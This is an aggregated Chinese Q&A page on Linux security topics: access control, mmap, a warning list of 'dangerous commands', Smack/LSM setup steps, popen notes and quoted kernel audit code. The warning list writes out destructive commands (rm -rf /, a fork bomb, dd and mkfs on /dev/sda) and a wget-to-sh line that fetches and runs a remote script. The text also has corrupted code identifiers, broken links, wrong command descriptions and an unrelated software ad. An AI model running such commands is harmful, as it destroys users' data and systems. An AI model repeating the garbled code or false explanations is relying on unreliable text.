導航:首頁 > 操作系統 > linux安全函數

linux安全函數

發布時間:2022-09-30 18:52:18

linux 安全加固指的是什麼

這個涉及到有點廣泛,在安全性方面,Linux內核提供了經典的Unix自主訪問控制(root用戶、用戶ID安全機制), 以及部分支持了POSIX.1e標准草案中的Capabilities安全機制。自主訪問控制(Discretionary Access Control,DAC)是指主體對客體的訪問許可權是由客體的屬主或超級用戶決定的,而且此許可權一旦確定,將作為以後判斷主體對客體是否有及有什麼許可權的惟一依據。只有客體的屬主或超級用戶才有權更改這些許可權。傳統Linux系統提供DAC支持,客體在Linux系統當中主要是指文件、目錄等系統資源,主體是指訪問這些資源的用戶或進程。控制粒度為客體的擁有者、屬組和其他人。簡單說,1.文件系統及訪問許可權 2.用戶和賬號管理。3.系統審計

Ⅱ linux 中 kill() 與 signal() 函數

雖然子進程將父進程的函數重新拷貝了一份,子進程和父進程共享同一段內存空間,但不能被共享。可以通過共享內存解決這個問題。使用這個函數void* mmap(void * addr, size_t len, int prot, int flags, int fd, off_t offset)把進程地址空間映射為共享內存。addr為被映射的進程地址空間內存地址,取NULL表示由系統決定;len為被映射地址空間的長度;prot為內存映射區保護參數,通常取為PROT_READ|PROT_WRITE;flags為標志,通常取為MAP_SHARED|MAP_ANON;fd取為-1,offset取為0。成功返回被映射區的起始地址,失敗返回錯誤碼。需要的頭文件為:sys/mman.h。
使用方法:int * share; //假設要把share所指向的一個整型變數映射為共享內存空間。
share = (int *)mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANON, -1, 0 )這樣就能實現你說的 了.

Ⅲ LINUX系統有哪些危險命令

這9個「非常危險」的Linux命令一定要記住!
1、rm-rf命令
rm-rf命令是刪除文件夾及其內容最快的一種方式,僅僅一丁點的敲錯或者無知都可能導致不可恢復的系統崩壞。
rm命令在Linux下通常用來刪除文件
rm-f命令遞歸的刪除文件夾,甚至是空的文件夾
rm-f命令能不經過詢問直接刪除只讀文件
rm-rf/:強制刪除根目錄下所有東西
rm-rf/*:強制刪除當前目錄的所有文件
rm-rf.:強制刪除當前文件夾及其子文件
溫馨提示:當你要執行rm -rf命令時,一定要留心,可以在「.bashrc」文件對「rm」命令創建rm
-i的別名,來預防用『rm』命令刪除文件時的事故。
2、:(){:|:&};:命令
這就是一個fork炸彈的實例。具體操作是通過定義一個名為':'的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。
3、命令 >/dev/sda
上列命令會將某個'命令'的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4、mv文件夾/dev/null
這個命令會移動某個'文件夾'到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。
5、wget http://malicious_source -O- | sh
上面這個命令會從一個惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會執行下載下來的腳本。
溫馨提示:你應該時刻注意你下載包或者腳本的源。只能使用那些從可信任的源中下載腳本/程序。
6、mkfs.ext3 /dev/sda
上列命令會格式化設備'sda',你無疑知道在執行上列命令後你的塊設備會被格式化,嶄新的。沒有任何數據,直接讓你的系統達到不可恢復的階段。
7、> file
上面命令常用來清空文件內容,如果用上列執行時輸入錯誤或無知的輸入類似「> xt.conf」的命令會覆蓋配置文件或其他任何的系統配置文件。
8、^foo^bar
這個命令用來編輯先前運行的命令而無需要打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。
9、dd if=/dev/random of=/dev/sda
上面這個命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然,你的系統可能陷入混亂和不可恢復的狀態。

Ⅳ linux printf是線程安全的嗎

是啊,這個函數在不同的線程中都可以用啊,又不涉及對共享變數的訪問。
線程安全一般只涉及到對有多個線程可以共享的變數的訪問,這樣就需要加解鎖來控制。

Ⅳ linux系統下,哪些函數可以引起命令執行漏洞

系統漏洞會影響到的范圍很大,包括系統本身及其支撐軟體,網路客戶和伺服器軟體,網路路由器和安全防火牆等。
騰訊電腦管家可以修復Windows操作系統漏洞,還可以智能篩選區分出高危漏洞補丁及功能性補丁,操作方法:騰訊電腦管家-工具箱-選擇「修復漏洞」。

Ⅵ linux內核函數為什麼加static關鍵字

首先,static關鍵字的作用是,令函數只能在當前的.c文件中使用。
static函數往往是一些helper函數,功能性或安全性不很完整,是用於構成更復復雜也更安全可靠的全局函數(非static函數,尤其是export的函數)的。
我們在做內核編程時,應盡量使用非static函數。要相信,前輩們寫static是有理由的,也一定有非static的函數可以實現你想要的功能。

Ⅶ 想實現一個linux內核安全功能模塊的技術思路是怎樣的

作者:橘子-實現網
鏈接:https://www.hu.com/question/21637060/answer/58362892
來源:知乎
著作權歸作者所有,轉載請聯系作者獲得授權。

用戶在執行系統調用時,先通過原有的內核介面依次執行功能性的錯誤檢查,接著進行傳統的DAC檢查,並在即將訪問內核的內部對象之前,通過LSM鉤子函數調用LSM。LSM再調用具體的訪問控制策略來決定訪問的合法性。訪問控制整體構架:<img src="https://pic2.mg.com/_b.jpg" data-rawwidth="804" data-rawheight="604" class="origin_image zh-lightbox-thumb" width="804" data-original="https://pic2.mg.com/_r.jpg">
LSM框架下訪問決策模塊包括selinux,smack,tomoyo,yama,apparmor.
每個決策模塊都是通過各自的XXX_init函數調用register_security()函數,注冊到LSM框架的模塊被載入成功後,就可以進行訪問控制操作。如果此時還有一個安全模塊要使用register_security()函數進行載入,則會出現錯誤,直到使用框架注銷後,下一個模塊才可以載入。<img src="https://pic2.mg.com/_b.jpg" data-rawwidth="420" data-rawheight="285" class="content_image" width="420">

Linux安全模塊(LSM)提供了兩類對安全鉤子函數的調用:一類管理內核對象的安全域,另一類仲裁對這些內核對象的訪問。對安全鉤子函數的調用通過鉤子來實現,鉤子是全局表security_ops中的函數指針,這個全局表的類型是security_operations結構,這個結構定義在include/linux/security.h這個頭文件中。
通過對security代碼進行一番簡單的分析,LSM啟動過程流圖:

<img src="https://pic2.mg.com/_b.jpg" data-rawwidth="1011" data-rawheight="213" class="origin_image zh-lightbox-thumb" width="1011" data-original="https://pic2.mg.com/_r.jpg">security_initcall只能調用selinux_init,smack_init ,tomoyo_init , yama_init 和apparmor_init中的一個,因為內核不允許多種安全機制同時一起工作。一旦一個安全模塊被載入,就成為系統的安全策略決策中心,而不會被後面的register_security()函數覆蓋,直到這個安全模塊被使用unregister_security()函數向框架注銷。security_initcall只能調用selinux_init,smack_init ,tomoyo_init , yama_init 和apparmor_init中的一個,因為內核不允許多種安全機制同時一起工作。一旦一個安全模塊被載入,就成為系統的安全策略決策中心,而不會被後面的register_security()函數覆蓋,直到這個安全模塊被使用unregister_security()函數向框架注銷。

因此LSM框架下只能開啟一種安全機制,smack編譯進Linux內核的配置和要求:

(1)要求smack和selinux不能夠同時運行,不能同時存在於同一個運行中的內核;
查看內核是否開啟以下的功能(如果沒有則需要開啟):

CONFIG_NETLABEL=y
CONFIG_SECURITY=y
CONFIG_SECURITY_NETWORK=y
CONFIG_SECURITY_SMACK=y
CONFIG_SECURITY_SELINUX should not be
set

步驟:

make menuconfig
<img src="https://pic1.mg.com/_b.jpg" data-rawwidth="658" data-rawheight="461" class="origin_image zh-lightbox-thumb" width="658" data-original="https://pic1.mg.com/_r.jpg"><img src="https://pic3.mg.com/_b.jpg" data-rawwidth="658" data-rawheight="464" class="origin_image zh-lightbox-thumb" width="658" data-original="https://pic3.mg.com/_r.jpg"><img src="https://pic3.mg.com/_b.jpg" data-rawwidth="658" data-rawheight="468" class="origin_image zh-lightbox-thumb" width="658" data-original="https://pic3.mg.com/_r.jpg"><img src="https://pic4.mg.com/_b.jpg" data-rawwidth="662" data-rawheight="468" class="origin_image zh-lightbox-thumb" width="662" data-original="https://pic4.mg.com/_r.jpg">
make moles_install
make install
查看/proc/filesystems
可以看到smackfs,說明smack已經編進內核
<img src="https://pic2.mg.com/_b.jpg" data-rawwidth="146" data-rawheight="187" class="content_image" width="146">

執行如下的命令:
mkdir -p /smack
在文件/etc/fstab添加下面的一行
smackfs /smack smackfs defaults 0 0
然後執行下面的命令:
mount –a

然後就體驗一下它的功能了:
1. 比如在用戶test的home目錄下(/home/test),新建文件夾 mkdir testdir
cd testdir/
touch testfile
2. 給新建的testfile 打上TheOther標簽
setfattr
--name=security.SMACK64 --value=TheOther testfile
查看其標簽
getfattr
--only-values -n security.SMACK64 -e text testfile
可以看到標簽TheOther
<img src="https://pic3.mg.com/_b.jpg" data-rawwidth="698" data-rawheight="60" class="origin_image zh-lightbox-thumb" width="698" data-original="https://pic3.mg.com/_r.jpg">

3. echo TheOne
2>/dev/null > /proc/self/attr/current,當前執行的進程默認都會被打為/proc/self/attr/current下的標簽
4.配置策略echo -n "TheOne TheOther r---"> /sma ck/load
因為當前進程只要是沒有特殊配置過的都被打為TheOne,所以當轉換到普通用戶test下,cat testfile是可讀的
5.現在我將當前進程打為NotTheOne ,echo NotTheOne 2>/dev/null >
/proc/self/attr/current
當轉換到普通用戶test下,cat testfile則變成不可讀的了
6.如果你想單獨對某個進程打標簽,而不是對當前進程打,就
attr -s security.SMACK64 -V TheOne /bin/cat
此時cat被標為TheOne,根據策略可以看出,當轉換到普通用戶test下,cat testfile是可讀的
若attr -s
security.SMACK64 –V Not TheOne /bin/cat
根據策略可以看出,當轉換到普通用戶test下,cat testfile是不可讀的
(需要說明的一點是,當cat本身被標上標簽和/proc/self/attr/current打入標簽共存時,cat本身的標簽生效,而/proc/self/attr/current打入標簽沒有生效)

Ⅷ linux popen 安全嗎

linux popen 安全
實現細節
1.popen創建一個管道,調用fork產生一個子進程,執行一個shell命令.讀取返回值時,相當於在讀取管道數據.

2.popen兩個類型參數."r" 讀 "w",但不能同時讀寫."r"讀取shell輸出值,輸出默認/屏幕上的值."w",向shell中寫數據.
即標准輸入和標准輸出.
popen函數輸出流默認被全緩沖的.

3.command 參數 是 一個 字元串指針, 指向的是一個 以 null 結束符 結尾的字元串, 這個字元串包含 一個 shell 命令. 這個命令 被送到 /bin/sh 以 -c 參數 執行, 即由 shell 來執行.

4.pclose函數兩個作用.關閉文件流和等待子進程的退出.這里等待子進程的退出很重要.

其他注意細節:
1.讀取消息時返回的最後一個字元是\n.一般shell命令輸出最後一個字元.除了是自己編寫返回的腳本輸出.
一般在讀取後加個判斷,如果為\n,替換成0.
//第2點有問題,有些地方需要驗證
2.進程間的執行順序問題.進程A popen會fork出進程B,意味著某一時段內,A和B是競爭關系,可能出現B執行在A前,或者B執行在A後.表明執行的不確定性.直到pclose等待B的退出後,A繼續執行.
同時表明,如果兩者存在一定依賴關系的話,可能會因為程序執行的順序問題,帶來一些麻煩.之前寫過一個代碼曾出現過這個問題.

Ⅸ Linux中與安全審計有關的函數

我的答案是最正確的 請採納我的內核審計系統的介面函數在Linux內核需要輸出審計信息時,它先調用函數audit_log_start創建緩沖區。接著,調用函數audit_log或audit_log_format寫緩沖區寫入審計信息,最後調用函數audit_log_end發送審計信息,並釋放緩沖區。這三個函數分別說明如下:1.函數audit_log_start 函數audit_log_start申請審計緩沖區,如果任務當前在系統調用中,系統調用被標識為可審計的,並在系統調用退出時,產生一條審計記錄。函數audit_log_start的參數ctx為審計上下文結構實例;參數gfp_mask為分配內存的類型,如:__GFP_WAIT表示可以等待和重調度;參數type為審計消息類型。如果緩存區申請成功,它返回審計緩沖區的指針,否則返回NULL表示錯誤。函數audit_log_start申請審計緩沖區,當審計緩沖區鏈表的緩沖區個數超過上限時,當前進程需要等待用戶空間的後台進程將審計消息寫入log文件,直到緩沖區個數小於上限值為止。函數audit_log_start在申請並初始化審計緩沖區後,給緩沖區加時間戳和審計記錄序列號。函數audit_log_start列出如下(在linux26/kernel/audit.c中)://聲明等待隊列頭,用於等待審計消息被後台進程寫入log文件static DECLARE_WAIT_QUEUE_HEAD(audit_backlog_wait);struct audit_buffer *audit_log_start(struct audit_context *ctx, gfp_t gfp_mask,int type){struct audit_buffer*ab= NULL;struct timespect;unsigned intserial;int reserve;unsigned long timeout_start = jiffies; //開始的時間if (!audit_initialized)//如果已初始化,就直接退出return NULL;if (unlikely(audit_filter_type(type)))return NULL;if (gfp_mask & __GFP_WAIT)reserve = 0;elsereserve = 5; /*允許調用者多出5個條目*/ //當鏈表中審計緩沖區數超出上限時,進程等待auditd處理鏈表中緩沖區while (audit_backlog_limit&& skb_queue_len(&audit_skb_queue) > audit_backlog_limit + reserve) {if (gfp_mask & __GFP_WAIT && audit_backlog_wait_time && time_before(jiffies, timeout_start + audit_backlog_wait_time)) {/* 等待後台進程auditd從隊列中處理部分緩沖區 */DECLARE_WAITQUEUE(wait, current);set_current_state(TASK_INTERRUPTIBLE); //設置當前進程的狀態為可中斷等待狀態add_wait_queue(&audit_backlog_wait, &wait); //將當前進程加入等待隊列if (audit_backlog_limit && skb_queue_len(&audit_skb_queue) > audit_backlog_limit)schele_timeout(timeout_start + audit_backlog_wait_time - jiffies);//調度__set_current_state(TASK_RUNNING);//設置當前進程為運行狀態remove_wait_queue(&audit_backlog_wait, &wait);continue;} //檢查每秒發送的記錄數不能超過上限,以防止受非法攻擊if (audit_rate_check())printk(KERN_WARNING "audit: audit_backlog=%d > " "audit_backlog_limit=%d\n", skb_queue_len(&audit_skb_queue), audit_backlog_limit);audit_log_lost("backlog limit exceeded");audit_backlog_wait_time = audit_backlog_wait_overflow;wake_up(&audit_backlog_wait);return NULL;}ab = audit_buffer_alloc(ctx, gfp_mask, type);//申請審計緩沖區if (!ab) {audit_log_lost("out of memory in audit_log_start");return NULL;}//得到當前時間存入t,計算審計記錄的序列號,存入serialaudit_get_stamp(ab->ctx, &t, &serial); //將時間戳和序列號寫入審計記錄audit_log_format(ab, "audit(%lu.%03lu:%u): ", t.tv_sec, t.tv_nsec/1000000, serial);return ab;}函數audit_buffer_alloc申請審計緩沖區,先嘗試從空閑鏈表上取下一個緩沖區,如果空閑鏈表中沒有,就分配一個緩沖區。然後,填充netlink消息頭。該函數列出如下: static DEFINE_SPINLOCK(audit_freelist_lock);//定義自旋鎖,用於鎖住鏈表audit_freeliststatic struct audit_buffer * audit_buffer_alloc(struct audit_context *ctx,gfp_t gfp_mask, int type){unsigned long flags;struct audit_buffer *ab = NULL;struct nlmsghdr *nlh; //從空閑鏈表中得到一個緩沖區spin_lock_irqsave(&audit_freelist_lock, flags);//加鎖if (!list_empty(&audit_freelist)) {ab = list_entry(audit_freelist.next,struct audit_buffer, list);list_del(&ab->list);--audit_freelist_count;}spin_unlock_irqrestore(&audit_freelist_lock, flags);//釋放鎖 //如果空閑鏈表中沒有空閑緩沖區成員,就分配一個緩沖區if (!ab) {ab = kmalloc(sizeof(*ab), gfp_mask);if (!ab)goto err;}ab->skb = alloc_skb(AUDIT_BUFSIZ, gfp_mask);//分配套接字緩沖區if (!ab->skb)goto err;ab->ctx = ctx;ab->gfp_mask = gfp_mask; //擴展套接字緩沖區skb的已使用數據區,將netlink消息頭數據nlmsghdr加到skbnlh = (struct nlmsghdr *)skb_put(ab->skb, NLMSG_SPACE(0));nlh->nlmsg_type = type;nlh->nlmsg_flags = 0;nlh->nlmsg_pid = 0;nlh->nlmsg_seq = 0;return ab;err:audit_buffer_free(ab);return NULL;}2.函數audit_log_format函數audit_log_format將一個審計消息按格式寫入審計緩沖區,參數ab為審計緩沖區,參數fmt為格式化的字元串。其列出如下:void audit_log_format(struct audit_buffer *ab, const char *fmt, ...){va_list args;if (!ab)return;va_start(args, fmt);audit_log_vformat(ab, fmt, args);va_end(args);}函數audit_log_vformat將一個審計消息按格式寫入套接字緩沖區中,如果審計緩沖區沒有足夠的空間,就擴展套接字緩沖區的數據域。由於printk緩沖區為1024,擴展的套接字緩沖區最小應為1024。函數audit_log_vformat列出如下: static void audit_log_vformat(struct audit_buffer *ab, const char *fmt, va_list args){int len, avail;struct sk_buff *skb;va_list args2;if (!ab)return;BUG_ON(!ab->skb);skb = ab->skb;avail = skb_tailroom(skb);//計算套接字緩沖區的空閑數據空間if (avail == 0) {//如果套接字緩沖區沒有空閑數據空間,擴展空間avail = audit_expand(ab, AUDIT_BUFSIZ);// AUDIT_BUFSIZ為1024,if (!avail)goto out;}va_(args2, args);len = vsnprintf(skb->tail, avail, fmt, args);//將信息寫入到緩沖區if (len >= avail) {//如果實際信息長度比可用的緩沖區大,擴展空間/* 由於printk緩沖區是1024,因此,擴展空間最少為1024 */avail = audit_expand(ab,max_t(unsigned, AUDIT_BUFSIZ, 1+len-avail));if (!avail)goto out;len = vsnprintf(skb->tail, avail, fmt, args2); //將審計信息寫入到緩沖區}if (len > 0)skb_put(skb, len); //將寫入信息的數據緩沖區附加到skb上out:return;}
函數audit_expand擴展在審計緩沖區中的套接字緩沖區,擴展成功,返回可用的空間大小,擴展失敗返回0,表示沒有空間。參數ab表示審計緩沖區的指針,參數extra表示加到套接字緩沖區skb尾部的緩沖區空間大小。函數audit_expand列出如下:static inline int audit_expand(struct audit_buffer *ab, int extra){struct sk_buff *skb = ab->skb;int ret = pskb_expand_head(skb, skb_headroom(skb), extra, ab->gfp_mask);if (ret < 0) {audit_log_lost("out of memory in audit_expand");return 0;}return skb_tailroom(skb);//返回可用的緩沖區空間大小}3.函數audit_log_end當進程完成了將審計記錄寫入審計緩沖區的操作時,它調用函數audit_log_end將套接字緩沖區中的審計記錄數據發送給用戶空間後台進程,由後台進程寫入到log文件。如果審計後台進程存在,使用netlink機制傳輸數據,由審計後台將套接字緩沖區中的審計記錄數據寫入審計文件audit.log中;如果審計後台不存在,使用函數printk記錄數據,然後由日誌後台進程將數據寫入到日誌文件中。當數據發送完成後,函數audit_log_end喚醒等待隊列kauditd_wait。有些進程因為審計套接字緩沖區鏈表上的緩沖區數量超過上限而在隊列kauditd_wait等待,當其他進程發送了數據時,應喚醒這些等待進程。函數audit_log_end列出如下:void audit_log_end(struct audit_buffer *ab){if (!ab)return;if (!audit_rate_check()) {//檢查審計系統的傳輸速度,如果netlink機制傳輸速度超過上限,則返回錯誤audit_log_lost("rate limit exceeded");} else {if (audit_pid) {//如果審計後台的進程ID存在,使用netlink機制傳輸數據struct nlmsghdr *nlh = (struct nlmsghdr *)ab->skb->data;nlh->nlmsg_len = ab->skb->len - NLMSG_SPACE(0);skb_queue_tail(&audit_skb_queue, ab->skb);ab->skb = NULL;wake_up_interruptible(&kauditd_wait);//發送了數據,喚醒等待隊列} else {//使用printk記錄數據printk(KERN_NOTICE "%s\n", ab->skb->data + NLMSG_SPACE(0));}}audit_buffer_free(ab);}

閱讀全文

與linux安全函數相關的資料

熱點內容
五菱宏光空調壓縮機 瀏覽:64
為什麼app佔用幾百兆 瀏覽:676
自動解壓失敗叫我聯系客服 瀏覽:482
易語言新手源碼 瀏覽:456
oa伺服器必須有固定ip地址 瀏覽:42
傳奇源碼分析是什麼 瀏覽:267
解放壓縮機支架 瀏覽:255
程序員禿頂搞笑相遇 瀏覽:6
IBM手機app商店叫什麼名字 瀏覽:834
jpeg壓縮質量 瀏覽:774
雲伺服器評測對比 瀏覽:145
java日期轉string 瀏覽:221
openfire源碼編譯 瀏覽:897
在線小工具箱引流網站源碼 瀏覽:337
非科班程序員自學 瀏覽:801
壓縮泡沫鞋底底材 瀏覽:220
程序員職場第一課2正確的溝通 瀏覽:679
遇到不合法app應該怎麼辦 瀏覽:91
匯編程序編譯後的文件 瀏覽:81
大智慧均線源碼 瀏覽:374